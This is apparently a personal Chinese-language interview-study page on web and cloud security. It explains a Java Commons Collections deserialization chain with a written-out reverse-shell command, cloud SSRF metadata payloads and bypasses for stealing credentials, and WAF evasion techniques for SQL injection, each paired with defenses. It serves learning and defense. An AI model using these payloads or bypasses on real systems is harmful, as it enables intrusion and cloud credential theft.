Skip to content

Daily Study

更新: 1/14/2026 字数: 0 字 时长: 0 分钟

Daily Plan

#todo

  • [ ]

基于大模型的渗透测试

CAI:当前效果最好的开源AI辅助渗透测试工具 | CN-SEC 中文网

用 AI 自动化渗透测试,PentAGI 打造全新AI安全测试 助力快速发现漏洞与安全隐患 | CN-SEC 中文网

安全技术面试

关建问题

举一个典型的反序列化漏洞

反序列化漏洞的原因:

  • 在反序列化过程中,如果应用没有对传入的数据进行严格校验,且目标语言在还原对象时会自动触发某些“魔术方法”(Magic Methods)(如PHP的__wakeup, __destruct;Java的readObject;Python的__reduce__),攻击者就可以构造恶意的序列化数据
  • 当这些数据被反序列化时,会强制程序执行攻击者指定的代码路径(通常称为POP链 - Property Oriented Programming),最终导致远程代码执行(RCE)

Java反序列化漏洞,Apache Commons Collections利用链(CC链)

  1. 场景背景:假设某企业的后台管理系统使用 Java 开发,并且为了方便在组件间传输对象,开放了一个接口,直接接收序列化的二进制数据(例如通过 HTTP POST Body 传输)
  2. 漏洞代码(服务端):服务端代码非常简单,只是单纯地把数据读进来还原成对象:
java
// 伪代码示例
public void receiveData(InputStream in) {
    try {
        // 1. 创建 ObjectInputStream
        ObjectInputStream ois = new ObjectInputStream(in);
        
        // 2. 核心漏洞点:直接调用 readObject(),没有任何校验
        // 此时,攻击者发送的恶意字节流被解析,代码开始在服务器内存中执行
        Object obj = ois.readObject(); 
        
    } catch (Exception e) {
        e.printStackTrace();
    }
}

攻击原理与过程(Gadget Chain):攻击者利用服务端已有的合法类库(这里是 Apache Commons Collections,一个非常通用的工具包)来拼凑出一个攻击路径。这个过程被称为 POP链(Property Oriented Programming)Gadget Chain

攻击步骤拆解:

  • 寻找跳板:攻击者寻找一个重写了 readObject 方法的类。例如 Java 标准库中的 AnnotationInvocationHandler(在旧版本JDK中)。当 readObject 被调用时,它会自动触发某些 Map 的操作。
  • 拼接链条(Gadget): 攻击者构造一个特殊的 Map,这个 Map 被配置了自动转换功能(使用 TransformedMap)这个 Map 绑定了一个转换器链(ChainedTransformer)
  • 核心Payload(Sink):攻击者在转换器链中预设了基于 Java反射机制 的代码:
    • 第一步:获取 Runtime 类。
    • 第二步:调用 getRuntime() 方法。
    • 第三步:调用 exec("bash -i >& /dev/tcp/攻击IP/端口 0>&1")
  • 触发操作:
    • 攻击者将上述复杂的嵌套对象序列化成二进制流,发送给服务端。
    • 服务端执行 ois.readObject()
    • readObject 内部触发了 Map 的操作 -> 触发 TransformedMap 的变换逻辑 -> 触发 ChainedTransformer -> 利用反射执行系统命令。
    • 结果:服务端在毫不知情的情况下,反弹了一个 Shell 给攻击者,导致 RCE(远程代码执行)。

防御方案:

  • 根本解决:不使用原生序列化,使用JSON或Protobuf进行替代。原因:JSON 只是纯数据格式,解析时不会自动触发方法的执行(除非犯了之前提到的 Go/Fastjson 类型的逻辑错误),天然隔离了代码与数据。
  • 过滤与黑白名单:如果在遗留系统中必须使用,必须在 readObject 之前进行类的校验,例如加上白名单,只允许反序列化系统中明确定义的几个安全类(User,Order)
  • RASP:原理在 JVM 层面 Hook 关键函数(如 ProcessBuilder.start, Runtime.exec)。具体检测:当发现某个反序列化栈帧(Stack Trace)中紧接着出现了命令执行操作时,直接在底层阻断并告警。这能防御未知的 0-day 利用链。

总结:

  • 定性: 这是一个利用合法代码执行非法逻辑的漏洞。
  • 举例: 引用 Java CC 链,关键词是 readObject -> 反射 -> Runtime.exec
  • 防御: 优先推崇 JSON替代,其次是 白名单,最后提到 RASP。

云环境下的SSRF漏洞有哪些特殊的利用

在传统环境下,SSRF(服务端请求伪造)通常被用来探测内网端口、攻击Redis/FastCGI等服务。但在云环境下,SSRF 的利用核心从探测网络变成了窃取身份。主要分为三个维度

攻击云主机元数据服务

这是云环境SSRF最经典、危害最大的利用方式。云厂商(AWS, 阿里云, 腾讯云, GCP)为了方便主机获取自身信息(IP、配置、角色),提供了一个内网HTTP服务,通常通过保留IP 169.254.169.254 访问。

  • 攻击目标: 获取该云主机绑定的CAM角色(腾讯云)或IAM角色(AWS)的临时凭证(AK/SK/Token)。
  • 利用流程:
    • 通过SSRF访问Metadata URL。
    • 读取返回的JSON数据,提取 AccessKeyId, SecretAccessKey, Token
    • 使用这些凭证配置本地CLI工具,直接接管该云账号下的资源(如S3存储桶、EC2实例、数据库等),实现云上横向移动。
  • 通用的Payload示例:http://169.254.169.254/latest/meta-data/
K8s环境下的利用
  • 攻击 Kubelet API:
    • 每个K8s节点上运行的 kubelet 服务通常监听在 1025010255 端口。
    • 如果网络策略(NetworkPolicy)未隔离,攻击者可以通过SSRF访问 https://<node_ip>:10250/pods,获取当前节点所有Pod的信息。
    • 如果是未授权访问(旧版本或配置错误),甚至可以执行 run 命令在容器内执行代码。
  • 攻击K8s API Server/云服务器内部接口:利用SSRF扫描K8s的Service网段(ClusterIP),攻击集群内的核心组件(如ETCD、CoreDNS)或内部未鉴权的Web Dashboard
针对元数据防护的Bypass

云厂商也意识到了元数据的风险,推出了加固方案(如 AWS IMDSv2)。面试官可能会问:“如果目标开启了防护,还能利用吗?”

  • 绕过AWS:AWS IMDSv2 强制要求通过 PUT 请求获取 Token,并将其放入 Header 中才能访问数据。标准的SSRF(通常是GET请求)无法利用。但如果SSRF漏洞点允许CRLF注入(HTTP头注入),或者是一个支持自定义Method和Headers的Web Hook功能,攻击者就可以构造PUT请求并带上Header,依然能窃取凭证。
  • DNS 重定向:如果防火墙或WAF拦截了 169.254.169.254,攻击者可以设置一个域名(如 attacker.com)的TTL为0。第一次解析是合法IP(绕过检查),第二次解析(实际请求时)迅速变更为 169.254.169.254
  • IPV6绕过:很多过滤器只防了IPv4。部分云环境支持IPv6访问元数据服务(如 http://[fd00:ec2::254]/latest/meta-data/
总结

在云环境下,SSRF 的核心利用思路从探测内网转变为云身份窃取

  1. 首要目标是元数据服务(IMDS): 最典型的就是请求 169.254.169.254。如果应用没有过滤,攻击者可以直接读取 security-credentials 接口,拿到绑定在云主机实例上的 临时AK/SK和Token。一旦拿到这个凭证,攻击者就能接管该角色权限下的云资源(如S3、RDS),造成严重的数据泄露或服务破坏。这也正是我在腾讯实习期间负责的AKSK安全项目中重点关注的一类泄露源。
  2. 其次是容器集群攻击: 如果业务跑在K8s里,SSRF可以被用来攻击同一集群内的其他Pod,或者探测 Kubelet 端口(10250)来获取集群拓扑信息,甚至利用未授权接口执行命令。
  3. 关于防御: 仅仅靠正则过滤IP是很难防御彻底的(存在DNS Rebinding等绕过)。在云上最好的防御是开启元数据加固模式(如腾讯云的加固模式或AWS IMDSv2),强制要求请求头包含Token,这样普通的SSRF(通常只能发起简单GET请求)就失效了。

SQL注入的绕过方法

WAF(无论是云WAF还是硬件WAF)的核心痛点在于:WAF对请求的解析方式与后端数据库/Web服务器的解析方式不一致。按照协议层到数据层来回答

  • 协议层绕过:利用HTTP协议解析差异
    • 分块传输编码绕过:原理: HTTP/1.1 支持 Transfer-Encoding: chunked。攻击者将恶意的 SQL 注入语句切分成多个小的 Chunk 发送。WAF盲区: 很多性能敏感的WAF为了保证低延迟,可能只检测第一个Chunk,或者不支持将碎片化的Chunk重组后再检测。而后端Web服务器(如Tomcat, Nginx)会完整重组数据包,从而执行恶意语句。
    • HTTP参数污染:原理: 当 URL 中出现同名参数时(例如 ?id=1&id=2),不同的后端技术栈处理逻辑不同。(PHP/Apache:取最后一个;Java/Tomcat:取第一个或数组)Bypass: 如果 WAF 只检查第一个参数,而后端取最后一个参数,攻击者可以在第一个参数放正常值,第二个放Payload。
  • 数据库特性层绕过:WAF 通常使用正则匹配关键字(如 UNION, SELECT)。我们可以利用数据库特有的语法特性来破坏正则的连续性。
    • MySQL内联注释:MySQL 特有的语法 /*! ... */ 会被当作代码执行,而 WAF 可能认为这是注释而忽略。
    • 空白字符替换:WAF 往往认为 SQL 关键字之间必须有空格。但数据库支持多种空白符。利用括号:SELECT(user)FROM(admin)。利用特殊空白符:%09 (Tab), %0a (换行), %0b (垂直制表符), %0c (换页), %a0 (不换行空格)
  • 编码层绕过:
    • 如果数据库或中间件支持非 UTF-8/ASCII 的字符集,可以将 Payload 编码为其他字符集。WAF 按照 UTF-8 解码看不到关键字,但后端转码后执行。
    • 双重 URL 编码:WAF 如果只解码一次,而后端架构中有两层代理(例如 CDN -> Nginx -> Tomcat),每层解一次,%2527(即 % 的编码加 27)最终会变成 '
  • 长度截断与资源耗尽(DOS WAF):超长缓冲区溢出,有些 WAF 为了性能,只检测请求体的前 8KB 或 16KB。攻击者可以在 Payload 前填充 20000 个无意义的字符(如 A),把真正的 SQL 注入语句推到 WAF 检测窗口之外。

总结:

  • 先点题: 核心是利用 WAF 和数据库对数据解析的不一致。
  • 分层讲:
    • 架构层: 重点讲 Chunked 传输和 HPP。
    • 语法层: 重点讲 MySQL 内联注释和空白符替换。
    • 资源层: 讲超长包截断。
  • 亮观点: 提到利用 LLM 自动生成 Bypass Payload 的新趋势

一些常规问题

  1. 简述Web常见攻击技术?

  2. 简述SQL注入概念和原理 ?

  3. 简述XSS的概念和原理 ?

  4. 简述XSS防范方法?

  5. 简述XSS与CSRF有什么区别 ?

  6. 简述为什么HTTPS更安全?

  7. 简述什么是 CSRF 攻击,如何避免?

  8. 简述什么是DNS劫持以及相关原理 ?

  9. DNS劫持的步骤是什么样的?

  10. DNS劫持的步骤是什么样的?

  11. 简述如何怎么应对DNS劫持?

  12. 简述什么是 DoS、DDoS、DRDoS 攻击?

  13. 简述如何防范DDoS( 基础防护措施 )?

  14. 对称加密与非对称加密有什么区别?

  15. RSA和AES算法有什么区别?

  16. 简述什么是对称加密技术?

  17. 简述什么是非对称加密技术 ?

  18. 简述ARP的概念和原理 ?

  19. 简述什么是ARP欺骗 ?

  20. 简述怎么样防止 ARP 欺骗 ?

  21. 简述什么是 DNS 以及工作原理 ?

  22. 简述什么是DNS欺骗以及工作原理 ?

  23. 如何有效的防止DNS欺骗 ?

  24. 简述常用的渗透工具有哪些 ?

  25. 简述什么是CRLF 注入攻击 ?

  26. 简述RIP协议是什么? RIP 的工作原理

  27. 简述什么是OSPF协议? OSPF的工作原理

  28. 请列举Web常用的加密算法 ?

  29. 简述什么是缓冲区溢出原理 ?

  30. 简述缓冲区溢出攻击的防范方式 ?

  31. 如何保障登录页面安全的思路分析 ?

  32. 简述请求头中哪些是有危害的?

  33. 简述什么是OAuth协议 ?

  34. 简述OAuth的原理和授权流程 ?

  35. 解释Oauth认证过程中可能会出现什么问题,导致什么样的漏洞?

  36. 叙述如何实现跨域?

  37. 简述什么是SSRF漏洞攻击 ?

  38. 简述JWT原理及常见攻击方式 ?

  39. 请简述常见中间件漏洞总结?

  40. 简述IDS/IPS防护原理及绕过思路 ?

  41. 简述TLS的加密过程 ?

  42. 如何提升非对称加密的运行效率 ?

  43. 简述什么点击劫持攻击

  44. 简述点击劫持攻击的有效防御措施 ?

菜就多练

本站访客数 人次 本站总访问量